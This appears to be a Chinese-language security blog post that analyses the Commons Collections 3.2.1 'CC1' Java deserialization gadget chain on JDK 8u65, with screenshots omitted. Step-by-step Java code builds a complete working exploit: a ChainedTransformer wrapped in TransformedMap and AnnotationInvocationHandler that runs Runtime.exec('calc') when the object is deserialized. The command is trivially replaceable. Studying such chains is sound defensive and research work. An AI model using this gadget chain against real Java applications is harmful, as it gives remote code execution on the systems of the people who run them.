Java反序列化CC1链分析

Mathieu 于 2025-08-23 发布

CC1分析

环境

jdk8u65

https://www.azul.com/downloads/?version=java-8-lts&os=windows&package=jdk&show-old-builds=true#zulu

sun包的源码:

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>CC1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

</project>

示例

生成CC1弹计算器的文件CC1.ser

新建maven项目测试类CC1Test用来反序列化

import org.junit.Test;

import java.io.*;

public class CC1Test {
    public static void serializable (Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserializable (String path) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
        return ois.readObject();
    }
    @Test
    public void test() throws Exception {
        //serializable("CC.bin",CC);
        unserializable("CC1.ser");
    }
}

image.png

测试OK,这里注意如果报错找不到CC1Test测试执行以下操作

image.png

执行命令:

mvn clean test

即可

分析

这里就倒着推导

先找一下怎么执行exec

在cc库中有个Transformer

其中一个实现类是InvokerTransformer ,它有一个方法transform

image.png

实现的功能就是反射调用某个类的某个方法,其中类,方法,参数都是可控的由上面的初始化时传入

那这就好说了,使用反射调用transform 弹计算器

public void invokerExec() throws Exception {
        //常规执行命令
        //Runtime.getRuntime().exec("calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        invokerTransformer.transform(Runtime.getRuntime());
    }

image.png

现在就是要找那里调用了InvokerTransformer.transform

查找用法(记得去maven里面下载源码)里面有个TransformedMap.checkSetValue

image.png

这里显而易见只要把valueTransformer 改为InvokerTransformer 就OK

找到TransformedMap.TransformedMap

image.png

这里是能达到目的,但是是protected 所以还得找在哪调用了TransformedMap.TransformedMap

找到TransformedMap.decorate

image.png

这下就完整了,但是回过头发现TransformedMap.checkSetValue 也是protected

所以继续查找在哪调用了TransformedMap.checkSetValue

找到在AbstractInputCheckedMapDecorator 里面进行了调用

image.png

再回头看一下TransformedMapdecorate发现就是比较像装饰器,传入一个map进行操作后返回一个map,其中的操作就使用了setValue随后调用了checkSetValue

代码如下,大致过程就是创建一个map然后使用decorate 进行操作,操作完了以后调用setValue 并且传入需要调用的Runtime.getRuntime()

public void transformerMap() throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        //TransformedMap decorate = (TransformedMap) TransformedMap.decorate(null, null, invokerTransformer);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("a","b");
        Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
        for (Map.Entry<Object,Object> entry : decorate.entrySet()) {
            entry.setValue(Runtime.getRuntime());
        }
    }

image.png

接下来就是找那里调用了setValue

最好找到既能序列化还实现了readObject方法还在readObject里面调用了setValue,这样就能反序列化和序列化了,就不用找了,最后找到了

AnnotationInvocationHandler.readObject

image.png

现在需要执行到这个AnnotationInvocationHandler.readObject 因为不是公开类所以使用反射调用

执行到readObject 要执行setValue 还要过两层if

第一层要求:memberType != null

memberTypememberTypes

memberTypesannotationType

annotationTypetype

type是传入的注解

annotationType = AnnotationType.getInstance(type); 这行代码的作用是获取与注解类型 type 对应的 AnnotationType 实例

Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 这行代码的作用是获取注解类型中所有成员方法的 “方法名 - 返回类型” 映射

String name = memberValue.getKey();

Class<?> memberType = memberTypes.get(name);

就是从memberTypes 中根据key获取值,然后给memberType

也就是说传入的mapkey要是传入的注解的键,这样才能根据key查到不为null的memberType

image.png

使用下面的代码输出一下Target 的键值

image.png

所以传入的mapkey需要是value

修改一下代码

public void annotationInvocationHandler() throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value","b");
        Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, invokerTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        serializable(o);
        unserializable("ser.bin");
    }

image.png

可以看到已经进了第一个if

第二个if

要绕过(或说触发)if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) 这个判断,核心是让传入的 value 类型与 ElementType[] 不匹配

Target 注解的 value 成员要求类型是 ElementType[](java.lang.annotation.ElementType 枚举的数组)。 memberType.isInstance(value) 会检查 value 是否为 ElementType[] 的实例。 只要让这个检查结果为 false(即 value 不是 ElementType[] 类型),且 value 不是 ExceptionProxy 类型,就会进入 if 块。

直接传个null

image.png

可以看到已经进到第二个if

接下来就是控制调用的setValue 传入的参数可控

这里先找到一个常量transform 也就是ConstantTransformer.transform

image.png

这里显而易见就是先传入一个类,然后调用ConstantTransformer.transform的时候不论传入什么都返回的是你前面传入的类,但是这样的话调用链就断了,所以还是不行

又找到一个ChainedTransformer.transform

image.png

这段代码的功能就是你传入的第一个Transformer的输出作为第二个Transformer的输入

所以代码就可以这样写

public void CCTransformer() throws Exception {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                constantTransformer,
                invokerTransformer
        });
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value",null);
        Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        serializable(o);
        unserializable("ser.bin");
    }

但是还有个问题

image.png

Runtime没实现序列化接口

这样的话只能找一个能调用Runtime的并且实现了序列化的类

但是Class类可以

最终的代码

public void CC1() throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        });

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value","1");
        Map<Object,Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);

        serializable(o);
        unserializable("ser.bin");
    }

效果如下

image.png

图示

image.png

image.png